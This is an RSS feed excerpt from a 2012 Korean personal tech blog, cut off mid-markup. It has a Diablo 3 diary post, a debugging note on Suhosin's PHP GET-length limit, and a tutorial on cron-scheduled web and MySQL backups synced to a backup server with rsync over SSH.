<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>New Born</title>
		<link>http://www.oops4u.com/</link>
		<description>정신 못차리면, 벌 받는다.</description>
		<language>ko</language>
		<pubDate>Mon, 14 May 2012 23:21:21 +0900</pubDate>
		<generator>Tistory 1.1 (http://www.tistory.com/)</generator>
		<managingEditor>와닥</managingEditor>
		<image>
			<title>New Born</title>
			<url>http://cfile6.uf.tistory.com/image/144FF13A4EAA37420189AA</url>
			<link>http://www.oops4u.com</link>
			<description>정신 못차리면, 벌 받는다.</description>
		</image>
		<item>
			<title>Diablo3</title>
			<link>http://www.oops4u.com/1633</link>
			<description>&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:620px;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/1964C5454FB0F4AB1E65A6&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/1964C5454FB0F4AB1E65A6&quot; filemime=&quot;image/jpeg&quot; filename=&quot;diablo3.jpg&quot; height=&quot;443&quot; width=&quot;620&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center&quot;&gt;준비는 끝났다...&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Diary</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1633</guid>
			<comments>http://www.oops4u.com/1633#entry1633comment</comments>
			<pubDate>Mon, 14 May 2012 21:13:32 +0900</pubDate>
		</item>
		<item>
			<title>GET 길이 제한</title>
			<link>http://www.oops4u.com/1632</link>
			<description>버그 신고를 받고 확인해보니, 갑자기 잘되던... 약 한달전까지는 잘됐던 본인인증 모듈에서 오류가 난다.&lt;br /&gt;아... 가만있다가 이건 또 웬... ㅠ 방치하고 있으면 우째 자꾸 이렇게 여기저기서 머가 터진다냥. 
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;오류 페이지에서 직접 찍어보니 $_GET 이 안넘어오네, 브라우저에는 넘어왔는데...&lt;br /&gt;ㅎㅎ 실소가 터져나온다, 거참 별일이 다 생기네.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;본인인증 과정에서 브라우저에 넘어온 값은... &lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;8C51EB8A5B3BBA384E7CE1143F09634B3C269CC1C560119287876C5F3779087D253A142F442C5971CC861F004040317A5E297D4591E271104D16254EEC0B8A41AB65D4D0CA7FB92FB71155347C8607451281F4CEAA66969700D5AFABB9432747160BCDB0E0B9C71FA9FD7C97EBFA57CD70CC5EDDBC5805E2F88BFB64D1976E4F6D44DBC90A9D04F74A9FE97BE4E4B0A9AFFFC7B62271D97823572FDC4EA89076F59F43A74A129DD5ED7335858E0434675951D6F1FE2A0AD006CFA55EB5F4C2D9D9A5697DA48536CE2B3B598889564C40C985C6C7B0135F8487B9536A8A530B084D988C15916BEB5A2825D6EA7E5F26CD65109BB3DE1B2357A2EC04FE9701221E3923173ADE1D0198482E665D5634EA81D3A0F13F5A0538F81272797A54AC254A9E4AFEB57377875229B0518C518BC51F8F65675259AF7C60308D6D3440CCB2ED28A965E37D00A144DFF0AB8F2BC78CEA14238349E826016C2201BE739737AD93&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;일단 GET 에 넘어온 값이 심상찮게 길다는 점. &lt;br /&gt;길긴 하지만 본인인증 하는 모든 서버들이 이 길이의 값을 받을텐데 우리 서버의 문제겠지.&lt;br /&gt;직접 찍어봤다. 혹시나 길어서 안넘어왔는가 하고.&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;512자 512byte 까지만 출력이 되고 513부터 출력되지 않는다. 빙고~&lt;br /&gt;내 생각은 GET 값이 설정된 값보다 길 경우 값이 짤릴줄 알았는데, 아예 안넘어왔네.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;근데 이게 대체 어디서 설정이 된거지.&lt;br /&gt;그간에 한거라고는 해킹 사고 때문에 php 버전업, 수호신 설치...&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;php -i | grep get 으로 일단 검색..&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #ff0000; COLOR: #ffffff&quot;&gt;suhosin.get.max_value_length&lt;/SPAN&gt;&lt;/STRONG&gt; 가 딱~&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #ff0000; COLOR: #ffffff&quot;&gt;512&lt;/SPAN&gt;&lt;/STRONG&gt; 가 딱~&lt;br /&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;1024&lt;/STRONG&gt;&lt;/SPAN&gt; 로 딱~&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;수호신 기본 설정이 저 모양이었다는 점~&lt;br /&gt;본인인증 때문에 패스워드 찾기가 거의 한달 동안 안됐었다는 점~&lt;br /&gt;근데 버그 신고가 이제 들어왔다는 점~&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Prog</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1632</guid>
			<comments>http://www.oops4u.com/1632#entry1632comment</comments>
			<pubDate>Thu, 26 Apr 2012 07:30:00 +0900</pubDate>
		</item>
		<item>
			<title>Backup Schedule</title>
			<link>http://www.oops4u.com/1631</link>
			<description>&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #ff0000; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;WEB DB Backup Schedule&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;웹서버1, DB서버1, 백업서버1 일때,&lt;br /&gt;웹서버와 DB서버에 각각 로컬로 데이터를 백업하고, 백업서버에 동기화하기.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #4174d9; FONT-SIZE: 12pt&quot;&gt;1. 웹서버 / DB서버 로컬 백업&lt;/SPAN&gt;&lt;/STRONG&gt; &lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;주기적인 백업을 위해 쉘스크립트로 작성 후 cron 에 등록&lt;/P&gt;
&lt;P&gt;- Work dir: /data&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi /data/backup.sh&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;COLOR: #3db7cc&quot;&gt;#!/bin/sh&lt;/SPAN&gt;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #3db7cc&quot;&gt;# delete files 7 days later&lt;/SPAN&gt;&lt;br /&gt;find /data -mtime +7 -name 'oops4u_html_*' -exec &lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&lt;STRONG&gt;rm -f&lt;/STRONG&gt;&lt;/SPAN&gt; {} \;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #3db7cc&quot;&gt;# website backup&lt;/SPAN&gt;&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;tar czfP &lt;/SPAN&gt;&lt;/STRONG&gt;/data/oops4u_html_`date +%Y%m%d`.tar.gz /home/oops4u/www&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #3db7cc&quot;&gt;# mysql backup&lt;/SPAN&gt;&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;mysqldump&lt;/SPAN&gt;&lt;/STRONG&gt; -uroot -p&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;password&lt;/SPAN&gt; -A --skip-lock-tables &amp;gt; /data/oops4u_mysql_`date +%Y%m%d`.sql&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;/data 디렉토리에 수정된지 5일이 지나고 oops4u_ 로 시작하는 파일을 삭제. (현재부터 5일이 지난 백업파일을 삭제하라는 의미)&lt;br /&gt;백업할 웹어플리케이션 디렉토리를 /data 디렉토리로 압축&lt;br /&gt;mysql의 모든 데이터베이스를 /data 디렉토리에 sql로 저장&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi /etc/crontab&lt;br /&gt;10 5 * * * root /data/backup.sh&lt;br /&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;매일 오전 5시 10분에 백업 실행&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #4174d9&quot;&gt;2. 로컬에 저장된 백업 파일 원격 서버에 동기화&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;원격 동기화를 위해 rsync 와 ssh 를 사용.&lt;br /&gt;접속시 패스워드를 입력하지 않기 위해 인증키 생성.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;1. 로컬서버(웹/DB)에서 인증키 생성&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# &lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&lt;STRONG&gt;ssh-keygen -t rsa&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;2. 공개키 값 복사&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# cat ~/.ssh/&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&lt;STRONG&gt;id_rsa.pub&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3JihoTGqeF/ZUlCrPIC/03m6TS6pnbiMJyKccMYZTNm/1QRL/TqwLnd3Pb......&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;3. 접속할 원격서버(백업)에 공개키 붙여넣기&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi ~/.ssh/&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&lt;STRONG&gt;authorized_keys&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3JihoTGqeF/ZUlCrPIC/03m6TS6pnbiMJyKccMYZTNm/1QRL/TqwLnd3Pb......&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;(이미 생성되어 있을 경우 기존 내용 뒤에 추가)&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;4. 로컬서버에서 접속 확인&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;[root@oops ~]# &lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;ssh &lt;/SPAN&gt;&lt;/STRONG&gt;-l root -p 32 111.111.111.112&lt;/P&gt;
&lt;P&gt;Last login: Thu Apr 19 16:29:35 2012 from 111.111.111.111&lt;/P&gt;
&lt;P&gt;[root@oops-backup ~]#&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;5. 주기적인 백업 동기화를 위해 쉘스크립트 작성 후 cron 에 등록&lt;/P&gt;
&lt;P&gt;Work dir: /data&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi /data/backup_remote.sh&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #00d8ff&quot;&gt;#!/bin/sh&lt;/SPAN&gt;&lt;br /&gt;HOME=/data/&lt;br /&gt;DESTHOME=/data/&lt;br /&gt;date&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;rsync -av \&lt;/SPAN&gt;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&amp;nbsp; -e 'ssh -l root -p 32' \&lt;/SPAN&gt;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&amp;nbsp; --delete \&lt;/SPAN&gt;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&amp;nbsp; --exclude='*.sh' \&lt;/SPAN&gt;&lt;br /&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&amp;nbsp; $HOME 111.111.111.112:$DESTHOME&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--delete 옵션은 로컬에서 삭제됐으면 원격에서도 삭제됨을 의미.&lt;br /&gt;--exclude 옵션은 패턴에 부합하는 파일 및 디렉토리는 동기화 제외. &lt;br /&gt;HOME 자료를 DESTHOME 으로 동기화.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi /etc/crontab&lt;br /&gt;30 5 * * * root /data/backup_remote.sh &lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;&amp;gt;&amp;gt;&lt;/SPAN&gt;&lt;/STRONG&gt; /var/log/backup_remote&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;매일 오전 5시 30분에 원격백업 실행하고 로그 남김&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
